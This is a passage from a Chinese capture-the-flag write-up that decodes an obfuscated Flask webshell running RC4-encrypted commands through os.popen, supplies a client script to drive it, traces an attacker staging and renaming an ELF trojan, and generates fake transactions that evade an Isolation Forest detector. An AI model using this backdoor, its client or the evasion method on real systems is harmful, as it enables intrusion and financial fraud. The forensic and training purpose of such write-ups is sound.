T0/8j73gYHBO2fGSIJ47ArYVm2+LzRT0iH5j7yVRmptcnAn8KkxJ63WBGb7u3bd+D+3ylnm1h4AR7MGN6r6LxpjNlAX11wa/XB1zN8cWUNnC3VczfwUEwPfi5dyo9nEC5WO9Um78WKRrm3c48IvTUhgdNeQEDosIfhMSmikEluQX8LcCRcK9eUT85bvr5J5rzEb+DuiGYyDFG7PZefvIb3w33u2q8zlxltWCStc5O4q8iWrVI7taZHxowTw5zJg9TdhBZ+fQrQtc0ydrBlvAlnY10vECnFUBA+y1lWsVn8cKxUjTdati4AF3iM/KuEtQ6Zn8bI4LYwMlGnCA1RG88J9l7G4dJzsWr9xOiD8iMI2N1eZd/QUy43YsILWx80yiCxz+G4bXf2qNRFvNOawPSnrpv6Q0oFEZojluPx7cOU27bAbgpwTKo0VUyH6G4+ysviQzU7SRd51LGG3U6cT0YDidQmz2ewtbkkKcGVcSyYOeClV6CRz6bdF/Gm3T2+Q914/lkZbKx19WnX78r+xw6bpjzWLr0E1gjnKCVxW0XSnwe+iG9dkG8nCFfjUlhdTaS1gJ7LFsmUjn8u/vRQbRLw/y66Irr/ynKOCzROcgrnDFxH3z3JTQQpTiDpeyzRsF4SnGBMv5Hbr+cK6YTa4MIbfzj5Ti3FMgJNqgK5Xk9hsilGsU6tUbnp6SKiJhUvJ8bqynUMEzndl+S+OVRCaH2iJl8U3WjyB68Rq4HATk/cK7LkJHHMjC3W7dTmOBpfoWMVELaL+RkqWYv0CpW5qENLlnOPBrGaGNeIZahzbnruEPIIXGkGz1fE5d42MaKZsCUYt1xXiai9+cbKGj/d0lICq7uc7bRhEBx46DyBXTz1gfJnT2ur6x4Avb5wY2pcYrcD2OR6AikMvm2c0bhabJB6o0DhONJ4lCxmKdGBzuwrts1u0D2yuo37yLLfsGDuyepNw8lyTNc2nyhCVBfW23DnBQmWc1QLCoRppVhjKXwOpODKO8R8YHnQM+rLk6EOabCdGK57iRzMcT3wc436kVmHXDcI0ZsYGY5aIC5DbdWjUt2ZuU0LmuLwzCTS99zhOoO8DKNqbK4bINLyAI2X928xib+hmIOqp3oSgC2PdFc8yqthN9S55omtex2xkEe8CY48C6z4JtqVtqhPQWQ8kte6xlepiVYCqIbE2Vg4fN//L/ff/u//9p4Lz7uq46yWenkJ/x90j/5mEIors5McSuFi9dygyyR5wJfuqGhOfsVVwJe'))

发现是一串反转Base64,使用https://cyberchef.org/#recipe=Reverse('Character')From_Base64('A-Za-z0-9%2B/%3D',true,false)Zlib_Inflate(0,0,'Adaptive',false,false)套娃解密,最终得到

global exc_class
global code
import os,binascii
exc_class, code = app._get_exc_class_and_code(404)
RC4_SECRET = b'v1p3r_5tr1k3_k3y'
def rc4_crypt(data: bytes, key: bytes) -> bytes:
        S = list(range(256))
        j = 0
        for i in range(256):
                j = (j + S[i] + key[i % len(key)]) % 256
                S[i], S[j] = S[j], S[i]
        i = j = 0
        res = bytearray()
        for char in data:
                i = (i + 1) % 256
                j = (j + S[i]) % 256
                S[i], S[j] = S[j], S[i]
                res.append(char ^ S[(S[i] + S[j]) % 256])
        return bytes(res)
def backdoor_handler():
        if request.headers.get('X-Token-Auth') != '3011aa21232beb7504432bfa90d32779':
                return "Error"
        enc_hex_cmd = request.form.get('data')
        if not enc_hex_cmd:
                return ""
        try:
                enc_cmd = binascii.unhexlify(enc_hex_cmd)
                cmd = rc4_crypt(enc_cmd, RC4_SECRET).decode('utf-8', errors='ignore')
                output_bytes = getattr(os, 'popen')(cmd).read().encode('utf-8', errors='ignore')
                enc_output = rc4_crypt(output_bytes, RC4_SECRET)
                return binascii.hexlify(enc_output).decode()
        except:
                return "Error"
app.error_handler_spec[None][code][exc_class]=lambda error: backdoor_handler()

里面的RC4_SECRET就是flag。

FLAG:flag{v1p3r_5tr1k3_k3y}

SnakeBackdoor-4

利用上一问得到的加密脚本,写出解密脚本:

import binascii

RC4_SECRET = b'v1p3r_5tr1k3_k3y'

def rc4_crypt(data: bytes, key: bytes) -> bytes:
    S = list(range(256))
    j = 0
    for i in range(256):
        j = (j + S[i] + key[i % len(key)]) % 256
        S[i], S[j] = S[j], S[i]
    i = j = 0
    res = bytearray()
    for char in data:
        i = (i + 1) % 256
        j = (j + S[i]) % 256
        S[i], S[j] = S[j], S[i]
        res.append(char ^ S[(S[i] + S[j]) % 256])
    return bytes(res)

def decrypt_response(enc_hex_response: str) -> str:
    enc_response = binascii.unhexlify(enc_hex_response)
    decrypted = rc4_crypt(enc_response, RC4_SECRET)
    return decrypted.decode('utf-8', errors='ignore')

def encrypt_command(command: str) -> str:
    cmd_bytes = command.encode('utf-8')
    enc_cmd = rc4_crypt(cmd_bytes, RC4_SECRET)
    return binascii.hexlify(enc_cmd).decode()

if __name__ == '__main__':
    import sys
    
    if len(sys.argv) < 2:
        print("Usage:")
        print("  解密响应: python rc4_decrypt.py -d <hex_data>")
        print("  加密命令: python rc4_decrypt.py -e <command>")
        print("\n示例:")
        print("  python rc4_decrypt.py -d 48656c6c6f20576f726c64")
        print("  python rc4_decrypt.py -e 'ls -la'")
        sys.exit(1)
    
    mode = sys.argv[1]
    
    if mode == '-d' and len(sys.argv) >= 3:
        enc_hex = sys.argv[2]
        try:
            decrypted = decrypt_response(enc_hex)
            print(f"[+] 解密结果: {decrypted}")
        except Exception as e:
            print(f"[!] 解密失败: {e}")
    
    elif mode == '-e' and len(sys.argv) >= 3:
        command = sys.argv[2]
        try:
            enc_hex = encrypt_command(command)
            print(f"[+] 加密结果: {enc_hex}")
            print(f"[+] 完整请求:")
            print(f"    X-Token-Auth: 3011aa21232beb7504432bfa90d32779")
            print(f"    data={enc_hex}")
        except Exception as e:
            print(f"[!] 加密失败: {e}")
    
    else:
        print("[!] 错误的参数")
        print("Usage:")
        print("  解密响应: python rc4_decrypt.py -d <hex_data>")
        print("  加密命令: python rc4_decrypt.py -e <command>")

在tcp流1807发现攻击者上传了文件shell.zip, 下载下来解压发现shell ELF文件,尝试直接提交发现失败,继续看看;

流1813POST的data参数解密后是:unzip -P nf2jd092jd01 -d /tmp /tmp/123.zip得到文件密码,同时发现文件被移动到/tmp,继续看;

流1817解密得到结果:mv /tmp/shell /tmp/python3.13shell文件被重命名为python3.13,流1825直接chmod +x /tmp/python3.13;流1826/tmp/python3.13可以确定shell木马文件被重命名为python3.13

长城杯初赛 Write Up图5.png

AI安全

The Silent Heist

目标

  • 利用已有 1000 条正常交易数据(public_ledger.csv)训练一个模型或统计分布;

  • 生成一批新的交易记录(伪造数据);

  • 保证这些伪造数据:

    • 总金额 > $2,000,000;

    • 被 Isolation Forest 判定为“正常”;

    • 不重复原始数据;

    • 不能是直接复制粘贴原始数据。

加载数据

import pandas as pd
import numpy as np
from sklearn.ensemble import IsolationForest
from sklearn.preprocessing import StandardScaler
from sklearn.decomposition import PCA
import warnings
warnings.filterwarnings("ignore")

# 假设你已经将 public_ledger.csv 加载到 df 中
df = pd.read_csv("public_ledger.csv")

构造 Isolation Forest 模型

# 使用所有特征进行建模
features = [col for col in df.columns if col.startswith('f')]
X = df[features]

# 标准化(Isolation Forest 对尺度敏感)
scaler = StandardScaler()
X_scaled = scaler.fit_transform(X)

# 构建 Isolation Forest 模型
iso_forest = IsolationForest(contamination=0.1, random_state=42)
iso_forest.fit(X_scaled)

获取原始数据的异常分数(验证模型)

scores = iso_forest.decision_function(X_scaled)
df['anomaly_score'] = scores

# 查看前几条是否为正常
print(df.head())

使用Gaussian Mixture Model (GMM)来建模分布伪造数据生成策略

from sklearn.mixture import GaussianMixture

# 训练 GMM 模型
gmm = GaussianMixture(n_components=5, random_state=42)
gmm.fit(X_scaled)

# 生成新样本
new_samples_scaled = gmm.sample(n_samples=1000)[0]

# 反标准化回原始空间
new_samples = scaler.inverse_transform(new_samples_scaled)

生成伪造数据

# 假设你已生成 new_samples(形状为 (1000, 20))
new_df = pd.DataFrame(new_samples, columns=features)

# 设置 feat_0(交易金额)为一个合理的分布(比如正态分布)
mean_amount = df['f0'].mean()
std_amount = df['f0'].std()

new_df['f0'] = np.random.normal(mean_amount, std_amount, 1000)
new_df['f0'] = np.abs(new_df['f0'])  # 保证非负

# 保证总金额 > 2,000,000
total_amount = new_df['f0'].sum()
if total_amount < 2000000:
    # 调整 feat_0 的值
    scale_factor = 2000000 / total_amount
    new_df['f0'] *= scale_factor

检查是否通过模型判断为“正常”

# 重新标准化
new_samples_scaled = scaler.transform(new_df[features])

# 判断是否为正常
scores = iso_forest.decision_function(new_samples_scaled)
normal_count = (scores > 0).sum()
print(f"伪造数据中被判定为正常的数量:{normal_count} / 1000")

输出 CSV 格式

# 转换为 CSV 字符串
csv_output = new_df.to_csv(index=False)

# 附加 EOF
final_output = csv_output + "\nEOF"

# 输出
print(final_output)
长城杯初赛 Write Up图6.png

FLAG:flag{0e5f4496-ac33-4793-8d53-0f0c45f1283a}

提问的智慧 2025-12-21
2025补天白帽黑客盛典暨湾区网络安全人才基地发布会笔记 2026-01-04